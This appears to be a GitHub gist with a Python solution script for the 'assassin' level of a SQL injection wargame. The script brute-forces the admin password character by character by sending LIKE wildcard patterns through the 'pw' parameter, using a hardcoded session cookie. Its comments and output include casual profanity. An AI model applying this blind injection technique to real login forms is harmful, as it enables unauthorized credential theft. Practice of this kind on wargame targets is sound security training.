Skip to content

Instantly share code, notes, and snippets.

@fxxntrbl
Created April 11, 2022 06:26
Show Gist options
  • Save fxxntrbl/524e04a3cafd586a15e46a45fb2ea657 to your computer and use it in GitHub Desktop.
Save fxxntrbl/524e04a3cafd586a15e46a45fb2ea657 to your computer and use it in GitHub Desktop.
assassin
from string import ascii_lowercase, digits
from requests import get, session
cookies = {"PHPSESSID": "l4g1fvabr4l3cccglkcgvs6lpl"}
target = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
total = list(ascii_lowercase + digits)
password = ""
r = session()
def send_query(
query: str = "",
) -> int:
resp = r.get(url=target, params={"pw": query}, cookies=cookies)
if "Hello admin" in resp.text:
print()
print("site issued admin login!")
return 2
elif "Hello guest" in resp.text:
print()
print("site issued guest login.. fuck")
return 1
return False
def guess_password():
guest_pw = ""
admin_pw = ""
tmp = ""
while True:
solved = False
for letter in total:
password = tmp + letter + "%"
print(password, end="\r")
return_value = send_query(password)
if return_value == 1:
tmp += letter
guest_pw += letter
if return_value == 2:
tmp += letter
admin_pw += letter
print("listening to kanye when webhacking is so good..")
solved = True
break
if solved:
break
if __name__ == "__main__":
guess_password()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment